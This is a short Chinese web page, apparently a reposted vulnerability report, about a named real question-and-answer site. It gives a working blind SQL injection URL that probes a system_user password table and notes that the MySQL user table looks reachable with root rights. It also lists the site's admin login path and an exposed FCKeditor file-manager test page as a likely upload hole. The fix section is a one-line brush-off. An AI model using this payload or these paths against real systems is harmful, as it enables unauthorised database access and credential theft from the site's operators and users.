来源：自学PHP网 时间：2015-04-17 11:59 作者： 阅读:次
[导读] 注射点：http://ask.xoyo.com/index.php?act=usercenter.messageinfomessageid={id}%20and%20exists%28select%20password%20from%20system_user%29%23可以查询mysql.user ，应该是root权限盲注点。后台：http:......
|
注射点：
http://ask.xoyo.com/index.php?act=usercenter.messageinfo&messageid={id}%20and%20exists%28select%20password%20from%20system_user%29%23 可以查询mysql.user ，应该是root权限 盲注点。 后台： http://ask.xoyo.com/admin/index.php?act=login 还存在fckeditor,估计也存在上传漏洞。 http://ask.xoyo.com/admin/style/js/fckeditor/editor/filemanager/connectors/test.html 具体看下图   修复方案：应该懂得！ |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
